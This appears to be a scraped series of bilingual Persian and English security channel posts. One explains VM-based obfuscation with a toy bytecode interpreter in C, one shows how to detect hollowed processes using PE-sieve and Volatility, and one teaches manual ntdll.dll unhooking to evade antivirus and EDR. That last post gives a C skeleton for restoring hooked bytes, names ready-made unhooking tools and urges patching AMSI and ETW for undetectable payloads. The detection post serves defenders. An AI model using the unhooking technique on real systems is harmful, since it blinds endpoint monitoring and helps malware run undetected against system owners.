🧠 General Concept of VM-Based Obfuscation

Tools like VMProtect, Themida, and similar ones convert parts of the code from real assembly into custom instructions that only their own virtual machine understands.

🔒 This makes it much harder for reverse engineers to directly analyze key functions.





🛠️ Step 1: Define a Very Simple Language

Let’s say our language supports just 3 instructions:

Code Instruction Action

01 PUSH_VAL Push a value onto the stack
02 ADD Pop two values, add them, push result
03 PRINT Print the value on top of the stack





📦 Step 2: Define the Bytecode of Our Program

We want to compute and print 10 + 20.

The binary bytecode would be:

01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT





🧰 Step 3: Implementing the Virtual Machine in C

#include <stdio.h>
#include <stdlib.h>

#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03

unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};

int stack[100];
int sp = -1;

void push(int val) {
stack[++sp] = val;
}

int pop() {
return stack[sp--];
}

void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
🔥2
case ADD: {
int b = pop();
int a = pop();
push(a + b);
break;
}
case PRINT:
printf("Result: %d\n", pop());
break;
default:
printf("Invalid opcode: %02x\n", op);
return;
}
}
}

int main() {
run_vm();
return 0;
}




🧨 Output:

Result: 30




🤯 Important Note:

Code executed inside this VM appears as undecipherable or meaningless blocks to decompilers like Ghidra — because the real logic of the program is hidden inside the virtual machine
🔥4
🩸 تا الان یه بدافزار ساختیم که خودشو جا زده جای یه پروسس بی‌گناه،
ولی حالا فرض کن سمت تویی که می‌خوای بفهمی این پروسس مشکوکه… از کجا باید شروع کنی؟
تو این پست یاد می‌گیری چطوری یه فایل یا پروسس Hollow شده رو شکار کنی 🎯




🔍 شکار زنده: Process Hacker + PE-sieve

باز کن Process Hacker


دنبال پروسس‌هایی بگردید که مثلا notepad.exe هستن اما:

Signature ندارن

PID جدید دارن ولی بدون فعالیت طبیعی 🧟

مصرف رم یا CPU بالاست بی‌دلیل



3 با PE-sieve پروسس رو اسکن کن:



pe-sieve64.exe /pid <PID> /dump_mode 3

📌 اگه PE-sieve بگه:
"Replaced section found" یا "Unmapped PE header"
یعنی اون پروسس واقعاً Hollow شده!




🧠 رفتن تو دلش با x64dbg یا x32dbg:

از PE-sieve فولدر dump رو بگیر و داخل x64dbg بازش کن


به EntryPoint برو (CTRL + G → EP)


اگه اولین دستورها مشکوکن یا با نوت‌پد جور نیست یه چیز این وسط اشتباهه 😏





🧠 تشخیص حافظه‌ی مشکوک با Volatility (مخصوص حافظه‌برداری):

volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind

اگه malfind یه page با permission RWX نشون داد یا داخلش شل‌کد بود، یعنی داریم با یه زامبی سر و کار داریم 🧟‍♂️




🎯 جمع‌بندی:

Process Hollowing فقط ساختنش نیست
⚔️ تشخیصش یعنی اینکه از قربانی شدن فرار کنی یا بتونی گزارش دقیق بدی



🩸 So far, we’ve built a piece of malware that hides inside an innocent-looking process...
But now imagine you’re on the defense side — trying to figure out if a process is suspicious.
Where should you start?

👉 In this post, you'll learn how to detect and hunt down a hollowed file or process like a pro. 🎯🔍




🔍 Live Hunt: Process Hacker + PE-sieve

1. Open Process Hacker
Look for processes like notepad.exe that:

Have no digital signature

Have a new/odd PID with no usual activity 🧟

Are using high memory or CPU for no clear reason



2. Scan the process using PE-sieve

pe-sieve64.exe /pid <PID> /dump_mode 3

📌 If PE-sieve says:

"Replaced section found"

"Unmapped PE header"


Then that process is definitely hollowed! 💀






🧠 Digging Deeper with x64dbg/x32dbg

Grab the dumped folder from PE-sieve

Open it in x64dbg

Go to Entry Point (CTRL + G → type EP)

If the first instructions look weird or don’t match notepad.exe,
then something fishy is going on 😏





🧠 Memory Forensics with Volatility (for RAM dumps)

volatility -f memory.raw --profile=Win10x64_19041 pslist
volatility -f memory.raw --profile=Win10x64_19041 malfind

If malfind shows a memory page with RWX permissions
or you find shellcode inside,
then you’re definitely facing a zombie process 🧟‍♂️




🎯 Conclusion:

Creating Process Hollowing is one side of the game
⚔️ Detecting it means you’re no longer the victim — you're the hunter, or at least able to write a solid report
🔥1
کامل ntdll.dll

«وقتی می‌خوای بدون صدای آلارم، بکشی!» 🧬🔕




🎯 هدف اصلی:

تقریباً تمام AV/EDRها (مخصوصاً EDR) میان تابع‌های حساس ntdll.dll رو hook می‌کنن:

NtCreateThreadEx, NtWriteVirtualMemory, NtProtectVirtualMemory, ...

این hookها باعث می‌شن توابع سیستمی (حتی وقتی مستقیم با syscall صدا زده می‌شن) log بشن یا detect شه


👉 راه‌حل؟ یه نسخه‌ی تمیز و بدون hook از ntdll.dll لود کنیم از حافظه خودمون. به این می‌گن manual unhooking




🧠 مفهوم فنی:

1. EDR معمولاً inline hook می‌ذاره → اولین بایت‌های تابع سیستم رو تغییر می‌ده


2 ما می‌ریم یه نسخه تمیز از ntdll.dll از روی دیسک یا حافظه بارگذاری می‌کنیم


3 بایت‌های اصلی توابع رو از اون کپی می‌کنیم روی نسخه فعلی → تمام hookها پاک می‌شن


4 حالا syscall واقعی اجرا می‌شه بدون نظارت EDR






🔥 روش‌های انجام:

روش ۱: Load clean ntdll.dll from disk

با CreateFile, ReadFile یا NtOpenFile, NtReadFile

پارس کردن PE structure دستی

پیدا کردن .text section → مقایسه بایت‌ها

جایگزینی بایت‌ها در نسخه فعلی داخل process خودت


روش ۲: استفاده از GetMappedFileName + ZwQueryVirtualMemory برای بازیابی ntdll اصلی از حافظه سیستم

روش ۳: از ابزار آماده استفاده کن

ابزار توضیح

Halo's Gate بای‌پس Hook از طریق تخمین offset سیستم‌کال
unhook-nativedll Unhooking دقیق و کامل با PE parsing
TitanLdr لودر PE پیشرفته همراه با ntdll unhook





💻 کد خلاصه (C):

> (برای مثال: مقایسه و پاک‌سازی .text section از ntdll)



PVOID currentNtdll = GetModuleHandleA("ntdll.dll");

// کپی ntdll از دیسک:
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMapping = CreateFileMapping(hFile, ..., PAGE_READONLY, ...);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, ...);

// حالا مقایسه .text دو نسخه:
PIMAGE_SECTION_HEADER textSection = FindTextSection(currentNtdll);
for (...) {
if (memcmp(currentPtr, cleanPtr, size) != 0)
memcpy(currentPtr, cleanPtr, size); // Restore بایت‌ها
}





🚨 هشدار:

بعضی AVها ممکنه مانیتور کنن که تو ntdll.dll تغییر ایجاد شده یا نه
→ راه‌حل: استفاده از RWX memory جدا و اجرای syscall از اونجا

اگر با Direct Syscall ترکیب شه، تقریبا غیرقابل تشخیصه

برای اجرای کامل بدون detect، حتما amsi.dll و etw رو هم patch کن (پست جدا داره)





💣 چرا این تکنیک مهمه؟

ویژگی دلیل اهمیت

بای‌پس کامل چون AV/EDR رو کور می‌کنی قبل از اینکه بفهمه چی شده 😁
ضروری برای بای‌پس Defender بدون این، حتی Reflective injection هم detect می‌شه
پایه حمله‌های RedTeam تقریباً تمام payloadهای stealth واقعی از این استفاده میکنن



🧬 ntdll.dll – "When You Wanna Kill Silently!" 🔕




🎯 Main Goal:

Almost all AVs/EDRs — especially EDRs — hook sensitive functions in ntdll.dll like:

NtCreateThreadEx

NtWriteVirtualMemory

NtProtectVirtualMemory

…and many more


These inline hooks cause system calls (even direct syscalls!) to get logged or detected.




👉 The Solution?

Load a clean, unhooked copy of ntdll.dll into your own memory space.
This technique is called manual unhooking.




🧠 Technical Concept:

1 EDRs usually inline hook functions → by modifying the first bytes of system calls


2 We load a clean copy of ntdll.dll from disk or from memory


3 We overwrite the hooked function bytes in memory with the clean ones


4 Now we can make real syscalls without any monitoring 👻





🔥 Implementation Methods:




Method 1: Load Clean ntdll.dll from Disk

Use CreateFile, ReadFile — or even NtOpenFile, NtReadFile

Parse the PE structure manually

Locate the .text section and compare bytes

Restore the original bytes into the current ntdll.dll in your process





Method 2: Use GetMappedFileName + ZwQueryVirtualMemory

Recover the clean, already-mapped system copy of ntdll.dll
→ Useful when avoiding disk I/O




Method 3: Use Existing Tools

Tool Denoscription

Halo’s Gate Bypasses hooks via syscall offset guessing
unhook-nativedll Full unhooking with precise PE parsing
TitanLdr Advanced PE loader with built-in ntdll unhooking





💻 Code Snippet (C)

(Example: Compare & Clean .text section in ntdll.dll)

PVOID currentNtdll = GetModuleHandleA("ntdll.dll");
1👎1🔥1👏1
// Load clean ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMapping = CreateFileMapping(hFile, ..., PAGE_READONLY, ...);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, ...);

// Compare and restore bytes
PIMAGE_SECTION_HEADER textSection = FindTextSection(currentNtdll);
for (...) {
if (memcmp(currentPtr, cleanPtr, size) != 0)
memcpy(currentPtr, cleanPtr, size); // Restore original bytes
}





🚨 Warning:

Some AVs/EDRs monitor modifications in ntdll.dll memory
→ Solution: Use separate RWX memory and execute syscalls from there.

Combine it with Direct Syscall for near-undetectability 🔥




🧨 Don’t Forget:

To stay fully stealth, also patch amsi.dll and ETW
(Separate post coming for that)




💣 Why Is This Technique Critical?

Feature Why It Matters

Full AV/EDR Bypass You blind them before they even realize 😁
Essential for Defender Evasion Even reflective injection gets caught without it
Core to Red Teaming Almost all real stealth payloads use this as base
🔥2👍1